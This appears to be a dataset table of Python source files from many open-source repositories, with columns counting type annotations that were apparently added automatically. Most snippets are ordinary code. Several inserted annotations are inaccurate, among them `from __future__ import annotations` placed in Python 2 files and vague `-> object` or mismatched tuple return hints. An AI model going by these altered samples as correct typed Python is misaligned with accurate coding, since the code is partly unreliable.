max_stars_repo_path string | max_stars_repo_name string | max_stars_count int64 | id string | content string | add_param_types int64 | add_return_types int64 | add_class_field_types int64 | add_instance_field_types int64 | add_total int64 | add_error int64 |
|---|---|---|---|---|---|---|---|---|---|---|
tests/test_params.py | AnthoBalitrand/pan-os-python | 162 | 3354147 | import pytest
import xml.etree.ElementTree as ET
from panos.base import ENTRY, Root
from panos.base import VersionedPanObject, VersionedParamPath
from panos.firewall import Firewall
class FakeObject(VersionedPanObject):
"""Fake object for testing."""
SUFFIX = ENTRY
ROOT = Root.VSYS
def _setup(self)... | 0 | 2 | 0 | 0 | 2 | 0 |
reinforcement/tensorflow/minigo/utils.py | omshri22121999/training | 3,475 | 3354186 | # Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | 1 | 4 | 0 | 0 | 5 | 0 |
solution/math/1978/main.py | jungyoonoh/baekjoon-1 | 2,236 | 3354200 | <reponame>jungyoonoh/baekjoon-1
# Authored by : gusdn3477
# Co-authored by : -
# Link : http://boj.kr/fba2f023d5c346aa826b3c6922fb0a27
import sys
from math import sqrt
def input():
return sys.stdin.readline().rstrip()
prime = [1] * 1005
prime[0] = 0
prime[1] = 0
ct = 0
N = int(input())
arr = list(map(int, input()... | 0 | 0 | 0 | 0 | 0 | 0 |
tools/sync_translations.py | Timboy67678/OverlayPlugin | 189 | 3354216 | <gh_stars>100-1000
import sys
import os.path
import glob
import xml.etree.ElementTree as ET
import json
from xml.parsers import expat
BASE_DIR = os.path.join(os.path.dirname(__file__), '..')
PROJECTS = ('HtmlRenderer', 'OverlayPlugin', 'OverlayPlugin.Common', 'OverlayPlugin.Core', 'OverlayPlugin.Updater')
ATTRIB_WHITE... | 0 | 0 | 0 | 0 | 0 | 0 |
autoPyTorch/components/training/base_training.py | mens-artis/Auto-PyTorch | 1,657 | 3354251 | <reponame>mens-artis/Auto-PyTorch
import ConfigSpace
class BaseTrainingTechnique():
def __init__(self, training_components=None):
"""Initialize the training technique. Should be called in a fit Method of a Pipeline node.
Keyword Arguments:
training_components {dict} -- Maps a n... | 0 | 0 | 0 | 0 | 0 | 0 |
test-framework/test-suites/integration/tests/add/test_add_switch_partition_member.py | knutsonchris/stacki | 123 | 3354286 | <reponame>knutsonchris/stacki
import pytest
import json
class TestAddSwitchPartitionMember:
SWITCH_PARTITION_MEMBER_TEST_DATA = [
['default', '00:00:00:00:00:00:00:00', '', '', '', 'add_default_member_output.json'],
['default', '', 'backend-0-0', 'ib0', '', 'add_default_member_output.json'],
['Default', '', 'b... | 0 | 0 | 0 | 0 | 0 | 0 |
model_compiler/tests/model_compiler/compilers/test_saved_model_file_to_openvino_model.py | yuanliya/Adlik | 548 | 3354287 | <reponame>yuanliya/Adlik
# Copyright 2019 ZTE corporation. All Rights Reserved.
# SPDX-License-Identifier: Apache-2.0
from tempfile import TemporaryDirectory
from unittest import TestCase
import tensorflow as tf
import model_compiler.compilers.saved_model_file_to_openvino_model as compiler
from model_compiler.compil... | 0 | 0 | 0 | 0 | 0 | 0 |
test/python/conftest.py | ryanrhee/envoy-mobile | 399 | 3354345 | <filename>test/python/conftest.py<gh_stars>100-1000
import random
import sys
from http.server import HTTPServer
from threading import Event
from threading import Thread
import pytest
import envoy_engine
from library.python.envoy_requests.common.engine import Engine
from library.python.envoy_requests import pre_build_... | 0 | 0 | 0 | 0 | 0 | 0 |
pylayers/antprop/tests/test_F.py | usmanwardag/pylayers | 143 | 3354351 | <filename>pylayers/antprop/tests/test_F.py<gh_stars>100-1000
import numpy as np
import pdb
from pylayers.antprop.slab import *
from pylayers.antprop.diff import *
#
# Metalic case : MacNamara Page 202
#
x = np.logspace(-4,1,100)
y,ys,yl=FreF(x)
y2=FreF2(x)
plt.ion()
fig,ax1=plt.subplots(figsize=(10,5))
ax1.semilogx(x,n... | 0 | 0 | 0 | 0 | 0 | 0 |
meter/daemon/minion_v1.py | anbo225/docklet | 273 | 3354352 | <reponame>anbo225/docklet
from intra.system import system_manager
from intra.billing import billing_manager
from intra.cgroup import cgroup_manager
from policy.quota import *
from intra.smart import smart_controller
class case_handler:
# [Order-by] lexicographic order
# curl -L -X POST -F uuid=docklet-1-0 http://0... | 0 | 0 | 0 | 0 | 0 | 0 |
k8s/utils/health/cluster_health_check.py | gprasath/e2e-tests | 140 | 3354360 | # Copyright 2018 The OpenEBS Authors
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writ... | 0 | 0 | 0 | 0 | 0 | 0 |
optimus_manager/pci.py | Askannz/prime-switcher | 1,694 | 3354392 | <filename>optimus_manager/pci.py
import os
from pathlib import Path
import re
import subprocess
from .log_utils import get_logger
VENDOR_IDS = {
"nvidia": "10de",
"intel": "8086",
"amd": "1002"
}
GPU_PCI_CLASS_PATTERN = "03[0-9a-f]{2}"
PCI_BRIDGE_PCI_CLASS_PATTERN = "0604"
class PCIError(Exception):
... | 0 | 0 | 0 | 0 | 0 | 0 |
libweasyl/libweasyl/alembic/versions/0dd45a91821c_remove_unused_premium_leftovers.py | akash143143/weasyl | 111 | 3354398 | <reponame>akash143143/weasyl
"""Remove unused premium leftovers
Revision ID: 0dd45a91821c
Revises: fb<PASSWORD>2<PASSWORD>
Create Date: 2019-09-16 16:44:00.647210
"""
# revision identifiers, used by Alembic.
revision = '0dd45a91821c'
down_revision = '<KEY>'
from alembic import op
import sqlalchemy as sa
def upgra... | 0 | 0 | 0 | 0 | 0 | 0 |
models/testing.py | Jerrypiglet/Total3DUnderstanding | 288 | 3354406 | # Base tester for methods.
# author: ynie
# date: April, 2020
from __future__ import annotations
class BaseTester(object):
'''
Base tester for all networks.
'''
def __init__(self, cfg, net, device: object | None=None):
self.cfg = cfg
self.net = net
self.device = device
def ... | 1 | 0 | 0 | 0 | 1 | 0 |
chap10/data/collect_data.py | wang420349864/dlcv_for_beginners | 1,424 | 3354427 | <gh_stars>1000+
import os
import re
import urllib
from multiprocessing import Process
SUPPORTED_FORMATS = ['jpg', 'png', 'jpeg']
URL_TEMPLATE = r'http://image.b***u.com/search/flip?tn=b***uimage&ie=utf-8&word={keyword}&pn={index}'
def download_images_from_b***u(dir_name, keyword, start_index, end_index):
index = ... | 0 | 0 | 0 | 0 | 0 | 0 |
plugins/trezor/client.py | tokenchain/electrum | 153 | 3354437 | <gh_stars>100-1000
from trezorlib.client import proto, BaseClient, ProtocolMixin
from .clientbase import TrezorClientBase
class TrezorClient(TrezorClientBase, ProtocolMixin, BaseClient):
def __init__(self, transport, handler, plugin):
BaseClient.__init__(self, transport)
ProtocolMixin.__init__(self... | 0 | 0 | 0 | 0 | 0 | 0 |
MLPYthonEnv/ml-agents-release_17/ml-agents/mlagents/trainers/tests/torch/saver/test_saver_reward_providers.py | cihan-demir/NineMensMorris | 13,653 | 3354470 | <reponame>cihan-demir/NineMensMorris
import pytest
import os
import numpy as np
from mlagents_envs.logging_util import WARNING
from mlagents.trainers.ppo.optimizer_torch import TorchPPOOptimizer
from mlagents.trainers.sac.optimizer_torch import TorchSACOptimizer
from mlagents.trainers.poca.optimizer_torch import Torc... | 0 | 0 | 0 | 0 | 0 | 0 |
Stock/Trade/AccountManager/StopMode/DyStockStopMode.py | Leonardo-YXH/DevilYuan | 135 | 3354473 | <reponame>Leonardo-YXH/DevilYuan
class DyStockStopMode(object):
def __init__(self, accountManager):
self._accountManager = accountManager
def onOpen(self, date):
return True
def onTicks(self, ticks):
pass
def onBars(self, bars):
pass
def setAccountManager(sel... | 0 | 0 | 0 | 0 | 0 | 0 |
tests/st/ops/gpu/test_unsorted_segment_min.py | GuoSuiming/mindspore | 3,200 | 3354477 | <filename>tests/st/ops/gpu/test_unsorted_segment_min.py
# Copyright 2020 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENS... | 0 | 0 | 0 | 0 | 0 | 0 |
venv/Lib/site-packages/statsmodels/tsa/arima/datasets/brockwell_davis_2002/data/sbl.py | EkremBayar/bayar | 6,931 | 3354478 | <reponame>EkremBayar/bayar<gh_stars>1000+
"""
The number of car drivers killed or seriously injured monthly in Great Britain
for ten years beginning in January 1975
Dataset described in [1]_ and included as a part of the ITSM2000 software [2]_.
Downloaded on April 22, 2019 from:
http://www.springer.com/cda/content/doc... | 0 | 0 | 0 | 0 | 0 | 0 |
dataviva/apps/university/views.py | joelvisroman/dataviva-site | 126 | 3354488 | # -*- coding: utf-8 -*-
from flask import Blueprint, render_template, g, abort, request
from dataviva.apps.general.views import get_locale
from dataviva.api.hedu.services import University, UniversityMajors
from dataviva.api.attrs.models import University as UniversityModel
from dataviva.api.hedu.models import Yu
from ... | 0 | 2 | 0 | 0 | 2 | 0 |
EgammaAnalysis/ElectronTools/test/run_RegressionAndCombination_cfg.py | ckamtsikis/cmssw | 852 | 3354499 | import FWCore.ParameterSet.Config as cms
process = cms.Process("ExREG")
process.load("Configuration.StandardSequences.Services_cff")
process.load('Configuration.StandardSequences.Geometry_cff')
process.load('Configuration/StandardSequences/MagneticField_38T_cff')
process.load('Configuration/StandardSequences/FrontierC... | 0 | 0 | 0 | 0 | 0 | 0 |
scenes/flip04_adaptDt.py | spockthegray/mantaflow | 158 | 3354512 | <reponame>spockthegray/mantaflow
#
# Flip scene with adaptive time stepping (otherwise similar to flip02)
#
from manta import *
# solver params
dim = 3
res = 80
gs = vec3(res,res,res)
if (dim==2):
gs.z=1
s = Solver(name='main', gridSize = gs, dim=dim)
# how many frames to calculate
frames = 200
# adaptive time... | 0 | 0 | 0 | 0 | 0 | 0 |
merged_depth/nets/SGDepth/harness.py | mmurray/merged_depth | 150 | 3354516 | #!/usr/bin/env python3
# Python standard library
import json
import pickle
import os
# Public libraries
import numpy as np
import torch
import torch.nn.functional as functional
# IfN libraries
import dataloader.file_io.get_path as get_path
from dataloader.eval.metrics import DepthRunningScore, SegmentationRunningSco... | 2 | 7 | 0 | 0 | 9 | 0 |
常用分割模型/deeplabv2.py | 1044197988/TF.Keras-Commonly-used-models | 160 | 3354527 | <reponame>1044197988/TF.Keras-Commonly-used-models<filename>常用分割模型/deeplabv2.py
#!/usr/bin/env python
# Based on: https://github.com/DavideA/deeplabv2-keras/blob/master/predict.py
from tensorflow import image
from tensorflow.keras.models import Model
from tensorflow.keras.layers import Input, Conv2D, MaxPoo... | 0 | 0 | 0 | 0 | 0 | 0 |
examples/first_project/script.py | dumpmemory/notion-sdk-py | 620 | 3354531 | import os
import sys
from pprint import pprint
from notion_client import Client
try:
from dotenv import load_dotenv
except ModuleNotFoundError:
print("Could not load .env because python-dotenv not found.")
else:
load_dotenv()
NOTION_TOKEN = os.getenv("NOTION_TOKEN", "")
while NOTION_TOKEN == "":
pri... | 0 | 0 | 0 | 0 | 0 | 0 |
base/settings.py | edisonlz/fastor | 285 | 3354537 | <reponame>edisonlz/fastor
# -*- coding: utf-8 -*-
import sys
import os.path
reload(sys)
sys.setdefaultencoding('utf-8')
PROJECT_ROOT = os.path.realpath(os.path.dirname(__file__))
sys.path.insert(0, os.path.join(PROJECT_ROOT, os.pardir))
sys.path.insert(0, os.path.join(PROJECT_ROOT, "site-packages"))
sys.path.insert(0... | 0 | 0 | 0 | 0 | 0 | 0 |
language/casper/evaluate/top_metrics.py | greck2908/language | 1,199 | 3354539 | # coding=utf-8
# Copyright 2018 The Google AI Language Team Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ... | 0 | 2 | 0 | 0 | 2 | 0 |
hierarchical-sc/data_loader.py | shinoyuki222/torch-light | 310 | 3354554 | <reponame>shinoyuki222/torch-light
from collections import namedtuple
import torch
from torch.autograd import Variable
import numpy as np
import const
class DataLoader(object):
def __init__(self,
original,
summary,
label,
max_ori_len,
... | 0 | 0 | 0 | 0 | 0 | 0 |
sdk/python/pulumi_gcp/cloudidentity/_inputs.py | sisisin/pulumi-gcp | 121 | 3354557 | <reponame>sisisin/pulumi-gcp<gh_stars>100-1000
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Opt... | 0 | 0 | 0 | 0 | 0 | 0 |
mongodb_consistent_backup/Oplog/Tailer/Tailer.py | akira-kurogane/mongodb_consistent_backup | 282 | 3354581 | from __future__ import annotations
import logging
from bson.timestamp import Timestamp
from multiprocessing import Event
from time import time, sleep
from TailThread import TailThread
from mongodb_consistent_backup.Common import MongoUri
from mongodb_consistent_backup.Errors import OperationError
from mongodb_consist... | 2 | 2 | 0 | 0 | 4 | 0 |
tests/transforms/coupling_test.py | pfilo8/nflows | 522 | 3354584 | from __future__ import annotations
"""Tests for the coupling Transforms."""
import unittest
import torch
from nflows.nn import nets
from nflows.transforms import coupling
from nflows.utils import torchutils
from tests.transforms.transform_test import TransformTest
def create_coupling_transform(cls, shape, **kwargs... | 0 | 3 | 5 | 0 | 8 | 0 |
classify_mnist.py | EchizenG/MAD-GAN_synthetic | 115 | 3354585 | import os
# if DISPLAY is not defined
if 'DISPLAY' not in os.environ:
import matplotlib
matplotlib.use('Agg') # Use a different backend
from tensorflow.examples.tutorials.mnist import input_data
from models.models import *
# Load dataset
data = input_data.read_data_sets('datasets/mnist/', one_hot=True)
... | 0 | 0 | 0 | 0 | 0 | 0 |
python/flask/webappWithTests/Tests/conftest.py | Ramananaidu/.net-pipeline | 204 | 3354596 | import pytest
def pytest_addoption(parser):
parser.addoption(
"--webAppUrl", action="store") | 0 | 0 | 0 | 0 | 0 | 0 |
Filters/Core/Testing/Python/TestContour3DLinearGridCompositeInput.py | txwhhny/vtk | 1,755 | 3354597 | <gh_stars>1000+
#!/usr/bin/env python
import vtk
# Test vtkContour3DLinearGrid with vtkScalarTree and an input
# vtkCompositeDataSet
# Control test size
res = 50
#res = 250
serialProcessing = 0
mergePoints = 1
interpolateAttr = 0
computeNormals = 0
computeScalarRange = 0
#
# Quadric definition
quadricL = vtk.vtkQuad... | 0 | 0 | 0 | 0 | 0 | 0 |
bayespy/inference/vmp/nodes/concatenate.py | dungvtdev/upsbayescpm | 622 | 3354599 | ################################################################################
# Copyright (C) 2015 <NAME>
#
# This file is licensed under the MIT License.
################################################################################
import numpy as np
from bayespy.utils import misc
from .deterministic import ... | 0 | 0 | 0 | 0 | 0 | 1 |
PR_BCI_team/Team_Consciousness/ghshin/training.py | PatternRecognition/OpenBMI | 217 | 3354609 | import numpy as np
import torch
import torch.utils.data
from sklearn.metrics import cohen_kappa_score, accuracy_score
from sklearn.metrics import confusion_matrix
from tqdm import tqdm
def testing(epoch, net, testloader, criterion) -> tuple[object, object, object, object]:
# global bestAcc, inputs, aa
net.e... | 0 | 2 | 0 | 0 | 2 | 0 |
aiml/script/aimlvalidate.py | LordOfPolls/Python-AIML-Logging | 115 | 3354612 | """
Python AIML Validator, v1.1
Author: <NAME> (<EMAIL>)
Usage:
aimlvalidate.py file1.aiml [file2.aiml ...]
"""
# Revision history:
#
# 1.0.1: Redirected stderr to stdout
# 1.0: Initial release
from __future__ import print_function
import sys
import io
import glob
import xml.sax
import aiml
PY3 = sys.version[... | 1 | 1 | 0 | 0 | 2 | 0 |
mapchete/io/_json.py | ungarj/mapchete | 161 | 3354631 | from __future__ import annotations
import fsspec
import json
import logging
import os
from mapchete.io._path import fs_from_path, path_exists
from mapchete.io._misc import get_boto3_bucket
logger = logging.getLogger(__name__)
def write_json(path, params, fs: object | None=None, **kwargs):
"""Write local or rem... | 2 | 1 | 0 | 0 | 3 | 0 |
examples/xgboost/xgboost-dist/train.py | polyaxon/training-operator | 306 | 3354638 | # Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under th... | 0 | 1 | 0 | 0 | 1 | 0 |
floppy/FloppyTypes.py | x75/Floppy | 147 | 3354716 | <filename>floppy/FloppyTypes.py
FLOPPYTYPES = {}
class MetaType(type):
def __new__(cls, name, bases, classdict):
result = type.__new__(cls, name, bases, classdict)
# result.__dict__['Input'] = result._addInput
FLOPPYTYPES[name] = result
return result
class Type(object, metaclass=... | 0 | 0 | 0 | 0 | 0 | 0 |
venv/Lib/site-packages/trio/from_thread.py | gilbertekalea/booking.com_crawler | 4,681 | 3354751 | """
This namespace represents special functions that can call back into Trio from
an external thread by means of a Trio Token present in Thread Local Storage
"""
from ._threads import from_thread_run as run
from ._threads import from_thread_run_sync as run_sync
| 0 | 0 | 0 | 0 | 0 | 0 |
Python/StackOverflow-2019/sof-demo.py | sagarsaliya/code_snippets | 9,588 | 3354766 | import csv
from collections import defaultdict, Counter
with open('data/survey_results_public.csv') as f:
csv_reader = csv.DictReader(f)
dev_type_info = {}
for line in csv_reader:
dev_types = line['DevType'].split(';')
for dev_type in dev_types:
dev_type_info.setdefault(dev_t... | 0 | 0 | 0 | 0 | 0 | 0 |
etl/parsers/etw/Microsoft_Windows_COMRuntime.py | IMULMUL/etl-parser | 104 | 3354771 | <reponame>IMULMUL/etl-parser
# -*- coding: utf-8 -*-
"""
Microsoft-Windows-COMRuntime
GUID : bf406804-6afa-46e7-8a48-6c357e1d6d61
"""
from construct import Int8sl, Int8ul, Int16ul, Int16sl, Int32sl, Int32ul, Int64sl, Int64ul, Bytes, Double, Float32l, Struct
from etl.utils import WString, CString, SystemTime, Guid
from ... | 0 | 0 | 0 | 0 | 0 | 0 |
examples/plus.py | abhin1899/tfmesos | 226 | 3354792 | # coding: utf-8
from __future__ import print_function
import sys
import logging
import tensorflow as tf
from tfmesos import cluster
def main(argv):
jobs_def = [
{
"name": "ps",
"num": 2
},
{
"name": "worker",
"num": 2
},
]
me... | 0 | 0 | 0 | 0 | 0 | 0 |
SPOJ/Random/AGS/check.py | VastoLorde95/Competitive-Programming | 170 | 3354828 | <filename>SPOJ/Random/AGS/check.py
t = input()
flag = 1
for T in xrange(t):
a,d,r = [int(x) for x in raw_input().split()]
n, m = [int(x) for x in raw_input().split()]
if flag:
l = [a%m]
flag2 = 0
for i in xrange(100):
flag2 = 1 - flag2
if flag2:
l.append((l[-1]+d)%m)
else:
l.append((l[-1]*r)%m... | 0 | 0 | 0 | 0 | 0 | 0 |
test/test_table_reader.py | SjSnowball/haystack | 4,544 | 3354838 | <filename>test/test_table_reader.py
import pandas as pd
from haystack import Document, Pipeline
def test_table_reader(table_reader):
data = {
"actors": ["<NAME>", "<NAME>", "<NAME>"],
"age": ["57", "46", "60"],
"number of movies": ["87", "53", "69"],
"date of birth": ["7 february ... | 0 | 0 | 0 | 0 | 0 | 0 |
examples/extensions/mixed_integer/choose.py | QiuWJX/cvxpy | 3,285 | 3354872 | from __future__ import annotations
"""
Copyright 2013 <NAME>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agr... | 3 | 2 | 0 | 0 | 5 | 0 |
test/run/t280.py | timmartin/skulpt | 2,671 | 3354878 | def f(*a):
print a
def g(x, *a):
print x, a
def h(x, y, *a):
print x, y, a
def i(x, y=4, *a):
print x, y, a
f()
f(1)
f(1, 2, 3)
g(1)
g(1, 2, 3)
h(1, 2)
h(1, 2, 3)
h(1, 2, 3, 4)
i(1)
i(1, 2, 3)
i(1, 2, 3, 4)
| 0 | 0 | 0 | 0 | 0 | 0 |
TESTING-Action.py | altmind/npyscreen | 442 | 3354883 | <filename>TESTING-Action.py
#!/usr/bin/env python
# encoding: utf-8
import npyscreen
#npyscreen.disableColor()
class TestApp(npyscreen.NPSApp):
def main(self):
# These lines create the form and populate it with widgets.
# A fairly complex screen in only 8 or so lines of code - a line for each contr... | 0 | 0 | 0 | 0 | 0 | 0 |
src/main.py | satishpasumarthi/deep-learning-containers | 383 | 3354888 | <gh_stars>100-1000
import argparse
import os
import re
import utils
import constants
from image_builder import image_builder
from config import parse_dlc_developer_configs
def main():
parser = argparse.ArgumentParser(description="Program to build docker images")
parser.add_argument("--buildspec", type=str)
... | 0 | 0 | 0 | 0 | 0 | 0 |
Validation/RecoMuon/test/muonValidation_cfg.py | ckamtsikis/cmssw | 852 | 3354892 | <filename>Validation/RecoMuon/test/muonValidation_cfg.py
import FWCore.ParameterSet.Config as cms
processName = "MuonSuite"
process = cms.Process(processName)
readFiles = cms.untracked.vstring()
secFiles = cms.untracked.vstring()
process.source = cms.Source ("PoolSource",fileNames = readFiles, secondaryFileNames = se... | 0 | 0 | 0 | 0 | 0 | 0 |
deep-rl/lib/python2.7/site-packages/OpenGL/raw/EGL/NV/stream_sync.py | ShujaKhalid/deep-rl | 210 | 3354894 | <gh_stars>100-1000
'''Autogenerated by xml_generate script, do not edit!'''
from OpenGL import platform as _p, arrays
# Code generation uses this
from OpenGL.raw.EGL import _types as _cs
# End users want this...
from OpenGL.raw.EGL._types import *
from OpenGL.raw.EGL import _errors
from OpenGL.constant import Constant ... | 0 | 0 | 0 | 0 | 0 | 0 |
examples/collection-update.py | Frekby/glumpy | 1,074 | 3354918 | # -----------------------------------------------------------------------------
# Copyright (c) 2009-2016 <NAME>. All rights reserved.
# Distributed under the (new) BSD License.
# -----------------------------------------------------------------------------
import numpy as np
from glumpy import app, collections
vert... | 0 | 1 | 0 | 0 | 1 | 0 |
linters/main.py | vault-the/changes | 443 | 3354980 | # This file is taken from the server repo (dropbox/python_linters/main.py) and
# changed to output in a format that arc understands (--arc-out option).
from __future__ import absolute_import
"Used to run the python AST linters on a set of files. Normally run through bin/lint"
import ast
import argparse
import json
imp... | 0 | 0 | 0 | 0 | 0 | 0 |
test/test_dht.py | fjarri/reikna | 122 | 3355010 | from __future__ import annotations
import itertools
import numpy
import pytest
from helpers import *
from reikna.helpers import product
from reikna.dht import DHT, harmonic, get_spatial_grid
import reikna.cluda.dtypes as dtypes
class FunctionHelper:
"""
Encapsulates creation of functions in mode and coordin... | 6 | 2 | 0 | 2 | 10 | 0 |
beam_search.py | wwt17/soft-BLEU-loss | 3,266 | 3355016 | <filename>beam_search.py
"""Beam search implementation in PyTorch."""
#
#
# hyp1#-hyp1---hyp1 -hyp1
# \ /
# hyp2 \-hyp2 /-hyp2#hyp2
# / \
# hyp3#-hyp3---hyp3 -hyp3
# ========================
#
# Takes care of beams, back poin... | 0 | 0 | 0 | 0 | 0 | 0 |
social/backends/meetup.py | raccoongang/python-social-auth | 1,987 | 3355024 | from social_core.backends.meetup import MeetupOAuth2
| 0 | 0 | 0 | 0 | 0 | 0 |
GPy/likelihoods/poisson.py | ekalosak/GPy | 1,685 | 3355042 | <reponame>ekalosak/GPy
from __future__ import division
# Copyright (c) 2012-2014 <NAME>, <NAME>
# Licensed under the BSD 3-clause license (see LICENSE.txt)
import numpy as np
from scipy import stats,special
import scipy as sp
from . import link_functions
from .likelihood import Likelihood
class Poisson(Likelihood):
... | 0 | 0 | 0 | 0 | 0 | 0 |
Chapter06/6_3_print_remote_cpu_info.py | shamir456/Python-Network-Programming-Cookbook-Second-Edition | 125 | 3355049 | #!/usr/bin/env python
# Python Network Programming Cookbook, Second Edition -- Chapter - 6
# This program is optimized for Python 3.5.2.
# It may run on any other version with/without modifications.
# To make it run on Python 2.7.x, needs some changes due to API differences.
# Follow the comments inline to make the pro... | 0 | 0 | 0 | 0 | 0 | 0 |
mintamazontagger/args.py | jprouty/mint-amazon-tagger | 156 | 3355052 | <reponame>jprouty/mint-amazon-tagger
import argparse
import datetime
import os
TAGGER_BASE_PATH = os.path.join(os.path.expanduser("~"), 'MintAmazonTagger')
def get_name_to_help_dict(parser):
return dict([(a.dest, a.help) for a in parser._actions])
def define_common_args(parser):
"""Parseargs shared between... | 0 | 0 | 0 | 0 | 0 | 0 |
transient/__main__.py | sruffell/transient | 135 | 3355083 | <reponame>sruffell/transient<gh_stars>100-1000
from . import cli
cli.main()
| 0 | 0 | 0 | 0 | 0 | 0 |
PythonAPI/carissma_project/lib/python3.5/site-packages/matplotlib/tests/test_ttconv.py | AbdulHoffmann/carla_carissma | 366 | 3355100 | <gh_stars>100-1000
import matplotlib
from matplotlib.font_manager import FontProperties
from matplotlib.testing.decorators import image_comparison
import matplotlib.pyplot as plt
import os.path
@image_comparison(baseline_images=["truetype-conversion"],
extensions=["pdf"])
def test_truetype_conversio... | 0 | 0 | 0 | 0 | 0 | 0 |
cloudify_types/cloudify_types/shared_resource/tests/test_shared_resource.py | cloudify-cosmo/cloudify-manager | 124 | 3355111 | # Copyright (c) 2019 Cloudify Platform Ltd. All rights reserved
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ap... | 0 | 0 | 0 | 0 | 0 | 0 |
tests/fake_device/airplay.py | Jacobs4/pyatv | 532 | 3355154 | <reponame>Jacobs4/pyatv<gh_stars>100-1000
"""A fake AirPlay device."""
import binascii
from collections import namedtuple
import logging
import plistlib
from typing import Optional
from aiohttp import web
from pyatv.support.net import unused_port
from tests.utils import simple_get
_LOGGER = logging.getLogger(__nam... | 0 | 0 | 0 | 0 | 0 | 0 |
client-hints/accept-ch-stickiness/resources/do-not-expect-received.py | spao234/wpt | 575 | 3355156 | def main(request, response) -> tuple[int, object, object]:
"""
Check that headers sent to navigate here *do not* contain the device-memory client
hint, and report success/failure in a way compatible with
verify_subresource_state() in accept-ch-test.js
"""
if b"device-memory" in request.headers:... | 0 | 1 | 0 | 0 | 1 | 0 |
.ci/ci_script.py | christophebedard/docker_images-1 | 328 | 3355177 | <filename>.ci/ci_script.py
#!/usr/bin/env python3
import importlib.util
import os
import subprocess
import sys
import git
import github
# Try to import, but its not critical
libnames = ['bot_jokes']
for libname in libnames:
try:
lib = __import__(libname)
except Exception:
print(sys.exc_info()... | 0 | 0 | 0 | 0 | 0 | 0 |
corehq/apps/groups/exceptions.py | dimagilg/commcare-hq | 471 | 3355187 | <gh_stars>100-1000
class CantSaveException(Exception):
pass
| 0 | 0 | 0 | 0 | 0 | 0 |
ros_catkin_ws/src/ros_comm/roswtf/src/roswtf/rosdep_db.py | letrend/neopixel_fpga | 742 | 3355206 | <filename>ros_catkin_ws/src/ros_comm/roswtf/src/roswtf/rosdep_db.py
# Software License Agreement (BSD License)
#
# Copyright (c) 2012, <NAME>, Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met... | 0 | 0 | 0 | 0 | 0 | 0 |
scripts/launch.py | nameless-writer/become-yukarin | 562 | 3355230 | """
launcher for some task that have diff params
"""
import argparse
import copy
import datetime
import hashlib
import json
import subprocess
import time
from pathlib import Path
base_command_default = \
"screen -d -m -S {project/name}_gpu{train/gpu} ;" + \
"screen -S {project/name}_gpu{train/gpu} -X stuff 'p... | 0 | 0 | 0 | 0 | 0 | 0 |
django_webtest/compat.py | adamchainz/django-webtest | 207 | 3355235 | import sys
import urllib
import django
PY3 = sys.version_info[0] == 3
if PY3:
from urllib import parse as urlparse
def to_string(s) -> object:
if isinstance(s, str):
return s
return str(s, 'latin1')
def to_wsgi_safe_string(s) -> object:
return urlparse.quote(to_strin... | 0 | 8 | 0 | 0 | 8 | 0 |
vendor/mari/prototype/ociofiletransform.py | mjtitchener-fn/OpenColorIO | 628 | 3355236 | """
This script allows the loading of a specied lut (1d/3d/mtx) in
the Mari Viewer. Requires Mari 1.3v2+.
This example is not represntative of the final Mari OCIO workflow, merely
an API demonstration. This code is a work in progress, to demonstrate the
integration of OpenColorIO and Mari. The APIs this code relies on... | 0 | 0 | 0 | 0 | 0 | 0 |
houdini/handlers/games/ninja/water.py | Oblivion-Max/houdini | 444 | 3355243 | from houdini import IWaddle
class CardJitsuWaterLogic(IWaddle):
room_id: int = 995
def __init__(self, waddle):
super().__init__(waddle)
class WaterSenseiLogic(CardJitsuWaterLogic):
def __init__(self, waddle):
super().__init__(waddle)
| 0 | 0 | 1 | 0 | 1 | 0 |
projects/perception/slam/full_map_posterior_gmapping/src/map_simulator/src/map_simulator/robot_commands/misc/scan_cmd.py | ad-daniel/opendr | 217 | 3355280 | <reponame>ad-daniel/opendr
# Copyright 2020-2022 OpenDR European Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required... | 0 | 0 | 0 | 0 | 0 | 0 |
test/sagemaker_tests/tensorflow/tensorflow2_training/resources/hvdbasic/train_hvd_env_vars.py | Elizaaaaa/deep-learning-containers | 383 | 3355285 | import json
import os
import horovod.tensorflow as hvd
hvd.init()
with open('/opt/ml/model/local-rank-%s-rank-%s' % (hvd.local_rank(), hvd.rank()), 'w+') as f:
basic_info = {'local-rank': hvd.local_rank(), 'rank': hvd.rank(), 'size': hvd.size()}
print(basic_info)
json.dump(basic_info, f)
val = os.enviro... | 0 | 0 | 0 | 0 | 0 | 0 |
tt/trees/__init__.py | fkromer/tt | 233 | 3355293 | """Tools for working with Boolean expression trees.
It should be noted that virtually all of the functionality within this module
is presented with an easier-to-use interface in the :mod:`expressions \
<tt.expressions>` module.
"""
from .tree_node import ( # noqa
BinaryOperatorExpressionTreeNode,
